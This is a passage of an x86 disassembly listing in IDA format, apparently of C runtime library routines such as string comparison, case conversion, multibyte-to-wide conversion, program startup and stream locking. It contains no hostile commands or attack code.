mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_421BD0 proc near ; CODE XREF: sub_418827+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_421C1C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_421C1D
test eax, 1
jz short loc_421BFD
mov cl, [esi]
cmp cl, [edi]
jnz short loc_421C4A
inc esi
inc edi
dec eax
jz short loc_421C1A
loc_421BFD: ; CODE XREF: sub_421BD0+20j
; sub_421BD0+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_421C4A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_421C4A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_421BFD
loc_421C1A: ; CODE XREF: sub_421BD0+2Bj
; sub_421BD0+84j
pop edi
pop esi
locret_421C1C: ; CODE XREF: sub_421BD0+6j
retn
; ---------------------------------------------------------------------------
loc_421C1D: ; CODE XREF: sub_421BD0+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_421C52
repe cmpsd
jz short loc_421C52
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_421C45
cmp ch, dh
jnz short loc_421C45
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_421C45
cmp ch, dh
loc_421C45: ; CODE XREF: sub_421BD0+63j
; sub_421BD0+67j ...
mov eax, 0
loc_421C4A: ; CODE XREF: sub_421BD0+26j
; sub_421BD0+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_421C52: ; CODE XREF: sub_421BD0+55j
; sub_421BD0+59j
test eax, eax
jz short loc_421C1A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_421C45
dec eax
jz short loc_421C79
cmp dh, ch
jnz short loc_421C45
dec eax
jz short loc_421C79
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_421C45
dec eax
loc_421C79: ; CODE XREF: sub_421BD0+8Fj
; sub_421BD0+96j
pop edi
pop esi
retn
sub_421BD0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
add eax, 20h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421C90 proc near ; CODE XREF: sub_418B3E+6p
; sub_418B5C+48p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4F33F8, 0
jnz short loc_421CB7
cmp [ebp+arg_0], 41h
jl short loc_421CB2
cmp [ebp+arg_0], 5Ah
jg short loc_421CB2
mov eax, [ebp+arg_0]
add eax, 20h
mov [ebp+arg_0], eax
loc_421CB2: ; CODE XREF: sub_421C90+11j
; sub_421C90+17j
mov eax, [ebp+arg_0]
jmp short loc_421D1F
; ---------------------------------------------------------------------------
loc_421CB7: ; CODE XREF: sub_421C90+Bj
push offset dword_4F37C8
call ds:dword_4F5488 ; InterlockedIncrement
cmp ds:dword_4F37C4, 0
jz short loc_421CE9
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
push 13h
call sub_423280
add esp, 4
mov [ebp+var_4], 1
jmp short loc_421CF0
; ---------------------------------------------------------------------------
loc_421CE9: ; CODE XREF: sub_421C90+39j
mov [ebp+var_4], 0
loc_421CF0: ; CODE XREF: sub_421C90+57j
mov ecx, [ebp+arg_0]
push ecx
call sub_421D30
add esp, 4
mov [ebp+arg_0], eax
cmp [ebp+var_4], 0
jz short loc_421D11
push 13h
call sub_423320
add esp, 4
jmp short loc_421D1C
; ---------------------------------------------------------------------------
loc_421D11: ; CODE XREF: sub_421C90+73j
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
loc_421D1C: ; CODE XREF: sub_421C90+7Fj
mov eax, [ebp+arg_0]
loc_421D1F: ; CODE XREF: sub_421C90+25j
mov esp, ebp
pop ebp
retn
sub_421C90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D30 proc near ; CODE XREF: sub_420F10+94p
; sub_420F10+9Ep ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp ds:dword_4F33F8, 0
jnz short loc_421D5C
cmp [ebp+arg_0], 41h
jl short loc_421D54
cmp [ebp+arg_0], 5Ah
jg short loc_421D54
mov eax, [ebp+arg_0]
add eax, 20h
mov [ebp+arg_0], eax
loc_421D54: ; CODE XREF: sub_421D30+13j
; sub_421D30+19j
mov eax, [ebp+arg_0]
jmp loc_421E57
; ---------------------------------------------------------------------------
loc_421D5C: ; CODE XREF: sub_421D30+Dj
cmp [ebp+arg_0], 100h
jge short loc_421DA3
cmp ds:dword_453DF0, 1
jle short loc_421D81
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_427040
add esp, 8
mov [ebp+var_10], eax
jmp short loc_421D95
; ---------------------------------------------------------------------------
loc_421D81: ; CODE XREF: sub_421D30+3Cj
mov edx, [ebp+arg_0]
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 1
mov [ebp+var_10], ecx
loc_421D95: ; CODE XREF: sub_421D30+4Fj
cmp [ebp+var_10], 0
jnz short loc_421DA3
mov eax, [ebp+arg_0]
jmp loc_421E57
; ---------------------------------------------------------------------------
loc_421DA3: ; CODE XREF: sub_421D30+33j
; sub_421D30+69j
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
and edx, 0FFh
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_421DEC
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
mov [ebp+var_8], dl
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_7], al
mov [ebp+var_6], 0
mov [ebp+var_4], 2
jmp short loc_421DFD
; ---------------------------------------------------------------------------
loc_421DEC: ; CODE XREF: sub_421D30+98j
mov cl, byte ptr [ebp+arg_0]
mov [ebp+var_8], cl
mov [ebp+var_7], 0
mov [ebp+var_4], 1
loc_421DFD: ; CODE XREF: sub_421D30+BAj
push 1
push 0
push 3
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_8]
push ecx
push 100h
mov edx, ds:dword_4F33F8
push edx
call sub_42EC50
add esp, 20h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_421E31
mov eax, [ebp+arg_0]
jmp short loc_421E57
; ---------------------------------------------------------------------------
loc_421E31: ; CODE XREF: sub_421D30+FAj
cmp [ebp+var_4], 1
jnz short loc_421E41
mov eax, [ebp+var_C]
and eax, 0FFh
jmp short loc_421E57
; ---------------------------------------------------------------------------
loc_421E41: ; CODE XREF: sub_421D30+105j
mov eax, [ebp+var_C]
and eax, 0FFh
mov ecx, [ebp+var_C+1]
and ecx, 0FFh
shl ecx, 8
or eax, ecx
loc_421E57: ; CODE XREF: sub_421D30+27j
; sub_421D30+6Ej ...
mov esp, ebp
pop ebp
retn
sub_421D30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421E60 proc near ; CODE XREF: sub_419229+9Cp
; sub_41A20B+55p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_421E6A: ; CODE XREF: sub_421E60+1Fj
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
test edx, edx
jz short loc_421E81
jmp short loc_421E6A
; ---------------------------------------------------------------------------
loc_421E81: ; CODE XREF: sub_421E60+1Dj
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
sar eax, 1
sub eax, 1
mov esp, ebp
pop ebp
retn
sub_421E60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421E90 proc near ; CODE XREF: sub_419229+6Ep
; sub_419229+7Fp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4F37C8
call ds:dword_4F5488 ; InterlockedIncrement
cmp ds:dword_4F37C4, 0
jz short loc_421EC8
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
push 13h
call sub_423280
add esp, 4
mov [ebp+var_4], 1
jmp short loc_421ECF
; ---------------------------------------------------------------------------
loc_421EC8: ; CODE XREF: sub_421E90+18j
mov [ebp+var_4], 0
loc_421ECF: ; CODE XREF: sub_421E90+36j
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_421F10
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_421EF8
push 13h
call sub_423320
add esp, 4
jmp short loc_421F03
; ---------------------------------------------------------------------------
loc_421EF8: ; CODE XREF: sub_421E90+5Aj
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
loc_421F03: ; CODE XREF: sub_421E90+66j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_421E90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F10 proc near ; CODE XREF: sub_421E90+4Bp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_4], 0
cmp [ebp+arg_0], 0
jz short loc_421F33
cmp [ebp+arg_8], 0
jnz short loc_421F33
xor eax, eax
jmp loc_4220F4
; ---------------------------------------------------------------------------
loc_421F33: ; CODE XREF: sub_421F10+14j
; sub_421F10+1Aj ...
cmp [ebp+arg_4], 0
jnz short loc_421F57
push offset dword_43CDD8
push 0
push 55h
push offset dword_43CDCC
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_421F57
int 3 ; Trap to Debugger
loc_421F57: ; CODE XREF: sub_421F10+27j
; sub_421F10+44j
xor eax, eax
test eax, eax
jnz short loc_421F33
cmp [ebp+arg_0], 0
jz loc_4220A6
cmp ds:dword_4F33F8, 0
jnz short loc_421FB9
loc_421F70: ; CODE XREF: sub_421F10+9Fj
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_8]
jnb short loc_421FB1
mov edx, [ebp+arg_4]
add edx, [ebp+var_4]
movzx ax, byte ptr [edx]
mov ecx, [ebp+arg_0]
mov [ecx], ax
mov edx, [ebp+arg_4]
add edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_421F9D
mov eax, [ebp+var_4]
jmp loc_4220F4
; ---------------------------------------------------------------------------
loc_421F9D: ; CODE XREF: sub_421F10+83j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
add edx, 2
mov [ebp+arg_0], edx
jmp short loc_421F70
; ---------------------------------------------------------------------------
loc_421FB1: ; CODE XREF: sub_421F10+66j
mov eax, [ebp+var_4]
jmp loc_4220F4
; ---------------------------------------------------------------------------
loc_421FB9: ; CODE XREF: sub_421F10+5Ej
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 0FFFFFFFFh
mov edx, [ebp+arg_4]
push edx
push 9
mov eax, ds:dword_4F3408
push eax
call ds:dword_4F5454 ; MultiByteToWideChar
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_421FE9
mov eax, [ebp+var_4]
sub eax, 1
jmp loc_4220F4
; ---------------------------------------------------------------------------
loc_421FE9: ; CODE XREF: sub_421F10+CCj
call ds:dword_4F5360 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_422007
call sub_429A90
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_4220F4
; ---------------------------------------------------------------------------
loc_422007: ; CODE XREF: sub_421F10+E2j
mov ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
jmp short loc_42201E
; ---------------------------------------------------------------------------
loc_422015: ; CODE XREF: sub_421F10:loc_42205Fj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_42201E: ; CODE XREF: sub_421F10+103j
mov ecx, [ebp+var_10]
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
test ecx, ecx
jz short loc_422061
mov eax, [ebp+var_8]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_422061
mov edx, [ebp+var_8]
xor eax, eax
mov al, [edx]
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_42205F
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_42205F: ; CODE XREF: sub_421F10+144j
jmp short loc_422015
; ---------------------------------------------------------------------------
loc_422061: ; CODE XREF: sub_421F10+11Cj
; sub_421F10+127j
mov ecx, [ebp+var_8]
sub ecx, [ebp+arg_4]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_4]
push edx
push 1
mov eax, ds:dword_4F3408
push eax
call ds:dword_4F5454 ; MultiByteToWideChar
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4220A1
call sub_429A90
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4220F4
; ---------------------------------------------------------------------------
loc_4220A1: ; CODE XREF: sub_421F10+17Fj
mov eax, [ebp+var_4]
jmp short loc_4220F4
; ---------------------------------------------------------------------------
loc_4220A6: ; CODE XREF: sub_421F10+51j
cmp ds:dword_4F33F8, 0
jnz short loc_4220BD
mov ecx, [ebp+arg_4]
push ecx
call sub_41BC70
add esp, 4
jmp short loc_4220F4
; ---------------------------------------------------------------------------
loc_4220BD: ; CODE XREF: sub_421F10+19Dj
push 0
push 0
push 0FFFFFFFFh
mov edx, [ebp+arg_4]
push edx
push 9
mov eax, ds:dword_4F3408
push eax
call ds:dword_4F5454 ; MultiByteToWideChar
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4220EE
call sub_429A90
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4220F4
; ---------------------------------------------------------------------------
loc_4220EE: ; CODE XREF: sub_421F10+1CCj
mov eax, [ebp+var_4]
sub eax, 1
loc_4220F4: ; CODE XREF: sub_421F10+1Ej
; sub_421F10+88j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_421F10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43CDE8
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFA4h
push ebx
push esi
push edi
mov [ebp-18h], esp
call ds:dword_4F5494 ; GetVersion
mov ds:dword_4F32F8, eax
mov eax, ds:dword_4F32F8
shr eax, 8
and eax, 0FFh
mov ds:dword_4F3304, eax
mov ecx, ds:dword_4F32F8
and ecx, 0FFh
mov ds:dword_4F3300, ecx
mov edx, ds:dword_4F3300
shl edx, 8
add edx, ds:dword_4F3304
mov ds:dword_4F32FC, edx
mov eax, ds:dword_4F32F8
shr eax, 10h
and eax, 0FFFFh
mov ds:dword_4F32F8, eax
push 1
call sub_426EC0
add esp, 4
test eax, eax
jnz short loc_422194
push 1Ch
call sub_4222A0
add esp, 4
loc_422194: ; CODE XREF: _0:00422188j
call sub_428E00
test eax, eax
jnz short loc_4221A7
push 10h
call sub_4222A0
add esp, 4
loc_4221A7: ; CODE XREF: _0:0042219Bj
mov dword ptr [ebp-4], 0
call sub_42FB10
call ds:dword_4F5490 ; GetCommandLineA
mov ds:dword_4F4A24, eax
call sub_42F8F0
mov ds:dword_4F3360, eax
call sub_42F3E0
call sub_42F290
call sub_41E860
mov dword ptr [ebp-30h], 0
lea ecx, [ebp-5Ch]
push ecx
call ds:dword_4F548C ; GetStartupInfoA
call sub_42F1D0
mov [ebp-64h], eax
mov edx, [ebp-30h]
and edx, 1
test edx, edx
jz short loc_422207
mov eax, [ebp-2Ch]
and eax, 0FFFFh
mov [ebp-6Ch], eax
jmp short loc_42220E
; ---------------------------------------------------------------------------
loc_422207: ; CODE XREF: _0:004221F8j
mov dword ptr [ebp-6Ch], 0Ah
loc_42220E: ; CODE XREF: _0:00422205j
mov ecx, [ebp-6Ch]
push ecx
mov edx, [ebp-64h]
push edx
push 0
push 0
call ds:off_4F5370
push eax
call sub_401404
mov [ebp-60h], eax
mov eax, [ebp-60h]
push eax
call sub_41E8A0
mov ecx, [ebp-14h]
mov edx, [ecx]
mov eax, [edx]
mov [ebp-68h], eax
mov ecx, [ebp-14h]
push ecx
mov edx, [ebp-68h]
push edx
call sub_42EFB0
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov eax, [ebp-68h]
push eax
call sub_41E8C0
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422270 proc near ; CODE XREF: sub_420D30+2Cp
; sub_4222D0+8Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp ds:dword_4F3368, 1
jnz short loc_422281
call sub_42FEE0
loc_422281: ; CODE XREF: sub_422270+Aj
mov eax, [ebp+arg_0]
push eax
call sub_42FF30
add esp, 4
push 0FFh
call ds:off_451840
add esp, 4
pop ebp
retn
sub_422270 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4222A0 proc near ; CODE XREF: _0:0042218Cp _0:0042219Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp ds:dword_4F3368, 1
jnz short loc_4222B1
call sub_42FEE0
loc_4222B1: ; CODE XREF: sub_4222A0+Aj
mov eax, [ebp+arg_0]
push eax
call sub_42FF30
add esp, 4
push 0FFh
call ds:off_4F5338
pop ebp
retn
sub_4222A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4222D0 proc near ; DATA XREF: _2:0043F024o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4F4A20, 0
jnz short loc_4222E9
mov ds:dword_4F4A20, 200h
jmp short loc_4222FC
; ---------------------------------------------------------------------------
loc_4222E9: ; CODE XREF: sub_4222D0+Bj
cmp ds:dword_4F4A20, 14h
jge short loc_4222FC
mov ds:dword_4F4A20, 14h
loc_4222FC: ; CODE XREF: sub_4222D0+17j
; sub_4222D0+20j
push 83h
push offset dword_43CDF4
push 2
push 4
mov eax, ds:dword_4F4A20
push eax
call sub_41C2D0
add esp, 14h
mov ds:dword_4F3A14, eax
cmp ds:dword_4F3A14, 0
jnz short loc_422365
mov ds:dword_4F4A20, 14h
push 86h
push offset dword_43CDF4
push 2
push 4
mov ecx, ds:dword_4F4A20
push ecx
call sub_41C2D0
add esp, 14h
mov ds:dword_4F3A14, eax
cmp ds:dword_4F3A14, 0
jnz short loc_422365
push 1Ah
call sub_422270
add esp, 4
loc_422365: ; CODE XREF: sub_4222D0+54j
; sub_4222D0+89j
mov [ebp+var_4], 0
jmp short loc_422377
; ---------------------------------------------------------------------------
loc_42236E: ; CODE XREF: sub_4222D0+C4j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_422377: ; CODE XREF: sub_4222D0+9Cj
cmp [ebp+var_4], 14h
jge short loc_422396
mov eax, [ebp+var_4]
shl eax, 5
add eax, offset off_451848
mov ecx, [ebp+var_4]
mov edx, ds:dword_4F3A14
mov [edx+ecx*4], eax
jmp short loc_42236E
; ---------------------------------------------------------------------------
loc_422396: ; CODE XREF: sub_4222D0+ABj
mov [ebp+var_4], 0
jmp short loc_4223A8
; ---------------------------------------------------------------------------
loc_42239F: ; CODE XREF: sub_4222D0:loc_4223F6j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4223A8: ; CODE XREF: sub_4222D0+CDj
cmp [ebp+var_4], 3
jge short loc_4223F8
mov ecx, [ebp+var_4]
sar ecx, 5
mov edx, [ebp+var_4]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
cmp dword ptr [eax+edx], 0FFFFFFFFh
jz short loc_4223E6
mov ecx, [ebp+var_4]
sar ecx, 5
mov edx, [ebp+var_4]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
cmp dword ptr [eax+edx], 0
jnz short loc_4223F6
loc_4223E6: ; CODE XREF: sub_4222D0+F8j
mov ecx, [ebp+var_4]
shl ecx, 5
mov ds:dword_451858[ecx], 0FFFFFFFFh
loc_4223F6: ; CODE XREF: sub_4222D0+114j
jmp short loc_42239F
; ---------------------------------------------------------------------------
loc_4223F8: ; CODE XREF: sub_4222D0+DCj
mov esp, ebp
pop ebp
retn
sub_4222D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422400 proc near ; DATA XREF: _2:0043F038o
push ebp
mov ebp, esp
call sub_422FE0
movsx eax, ds:byte_4F332C
test eax, eax
jz short loc_422418
call sub_430140
loc_422418: ; CODE XREF: sub_422400+11j
pop ebp
retn
sub_422400 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422420 proc near ; CODE XREF: sub_41BCF0+55p
; sub_41E180+8p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], offset off_451848
jb short loc_42244E
cmp [ebp+arg_0], offset dword_451AA8
ja short loc_42244E
mov eax, [ebp+arg_0]
sub eax, offset off_451848
sar eax, 5
add eax, 1Ch
push eax
call sub_423280
add esp, 4
jmp short loc_42245B
; ---------------------------------------------------------------------------
loc_42244E: ; CODE XREF: sub_422420+Aj
; sub_422420+13j
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
call ds:dword_4F53A8 ; RtlEnterCriticalSection
loc_42245B: ; CODE XREF: sub_422420+2Cj
pop ebp
retn
sub_422420 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422460 proc near ; CODE XREF: sub_422FF0+7Ep
; sub_427B60+6Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 14h
jge short loc_42247A
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax
call sub_423280
add esp, 4
jmp short loc_422487
; ---------------------------------------------------------------------------
loc_42247A: ; CODE XREF: sub_422460+7j
mov ecx, [ebp+arg_4]
add ecx, 20h
push ecx
call ds:dword_4F53A8 ; RtlEnterCriticalSection
loc_422487: ; CODE XREF: sub_422460+18j
pop ebp
retn
sub_422460 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422490 proc near ; CODE XREF: sub_41BCF0+70p
; sub_41E180+2Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], offset off_451848
jb short loc_4224BE
cmp [ebp+arg_0], offset dword_451AA8
ja short loc_4224BE
mov eax, [ebp+arg_0]
sub eax, offset off_451848
sar eax, 5
add eax, 1Ch
push eax
call sub_423320
add esp, 4
jmp short loc_4224CB
; ---------------------------------------------------------------------------
loc_4224BE: ; CODE XREF: sub_422490+Aj
; sub_422490+13j
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
call ds:dword_4F53A4 ; RtlLeaveCriticalSection
loc_4224CB: ; CODE XREF: sub_422490+2Cj
pop ebp
retn
sub_422490 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4224D0 proc near ; CODE XREF: sub_422FF0+116p
; sub_427B60+A0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 14h
jge short loc_4224EA
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax
call sub_423320
add esp, 4
jmp short loc_4224F7
; ---------------------------------------------------------------------------
loc_4224EA: ; CODE XREF: sub_4224D0+7j
mov ecx, [ebp+arg_4]
add ecx, 20h
push ecx
call ds:dword_4F53A4 ; RtlLeaveCriticalSection
loc_4224F7: ; CODE XREF: sub_4224D0+18j
pop ebp
retn
sub_4224D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422500 proc near ; CODE XREF: sub_422610+113p
; sub_4229A0+33p
push ebp
mov ebp, esp
call ds:dword_4F5498 ; DebugBreak
pop ebp
retn
sub_422500 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jl short loc_422520
cmp dword ptr [ebp+8], 3
jl short loc_422525
loc_422520: ; CODE XREF: _0:00422518j
or eax, 0FFFFFFFFh
jmp short loc_422563
; ---------------------------------------------------------------------------
loc_422525: ; CODE XREF: _0:0042251Ej
cmp dword ptr [ebp+0Ch], 0FFFFFFFFh
jnz short loc_422537
mov eax, [ebp+8]
mov eax, ds:dword_451ACC[eax*4]
jmp short loc_422563
; ---------------------------------------------------------------------------
loc_422537: ; CODE XREF: _0:00422529j
mov ecx, [ebp+0Ch]
and ecx, 0FFFFFFF8h
test ecx, ecx
jz short loc_422546
or eax, 0FFFFFFFFh
jmp short loc_422563
; ---------------------------------------------------------------------------
loc_422546: ; CODE XREF: _0:0042253Fj
mov edx, [ebp+8]
mov eax, ds:dword_451ACC[edx*4]
mov [ebp-4], eax
mov ecx, [ebp+8]
mov edx, [ebp+0Ch]
mov ds:dword_451ACC[ecx*4], edx
mov eax, [ebp-4]
loc_422563: ; CODE XREF: _0:00422523j _0:00422535j ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jl short loc_422580
cmp dword ptr [ebp+8], 3
jl short loc_422587
loc_422580: ; CODE XREF: _0:00422578j
mov eax, 0FFFFFFFEh
jmp short loc_4225EA
; ---------------------------------------------------------------------------
loc_422587: ; CODE XREF: _0:0042257Ej
cmp dword ptr [ebp+0Ch], 0FFFFFFFAh
jnz short loc_422599
mov eax, [ebp+8]
mov eax, ds:dword_451AD8[eax*4]
jmp short loc_4225EA
; ---------------------------------------------------------------------------
loc_422599: ; CODE XREF: _0:0042258Bj
mov ecx, [ebp+8]
mov edx, ds:dword_451AD8[ecx*4]
mov [ebp-4], edx
cmp dword ptr [ebp+0Ch], 0FFFFFFFCh
jnz short loc_4225C0
push 0FFFFFFF5h
call ds:dword_4F549C ; GetStdHandle
mov ecx, [ebp+8]
mov ds:dword_451AD8[ecx*4], eax
jmp short loc_4225E7
; ---------------------------------------------------------------------------
loc_4225C0: ; CODE XREF: _0:004225AAj
cmp dword ptr [ebp+0Ch], 0FFFFFFFBh
jnz short loc_4225DA
push 0FFFFFFF4h
call ds:dword_4F549C ; GetStdHandle
mov edx, [ebp+8]
mov ds:dword_451AD8[edx*4], eax
jmp short loc_4225E7
; ---------------------------------------------------------------------------
loc_4225DA: ; CODE XREF: _0:004225C4j
mov eax, [ebp+8]
mov ecx, [ebp+0Ch]
mov ds:dword_451AD8[eax*4], ecx
loc_4225E7: ; CODE XREF: _0:004225BEj _0:004225D8j
mov eax, [ebp-4]
loc_4225EA: ; CODE XREF: _0:00422585j _0:00422597j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4F3A10
mov [ebp-4], eax
mov ecx, [ebp+8]
mov ds:dword_4F3A10, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422610 proc near ; CODE XREF: sub_41BCF0+24p
; sub_41BD80+2Cp ...
var_302C = dword ptr -302Ch
var_3028 = dword ptr -3028h
var_3024 = byte ptr -3024h
var_3010 = byte ptr -3010h
var_300C = dword ptr -300Ch
var_3008 = byte ptr -3008h
var_3007 = byte ptr -3007h
var_2008 = byte ptr -2008h
var_2007 = byte ptr -2007h
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_1000 = byte ptr -1000h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
push ebp
mov ebp, esp
mov eax, 302Ch
call sub_41EF80
push edi
mov [ebp+var_3008], 0
mov ecx, 3FFh
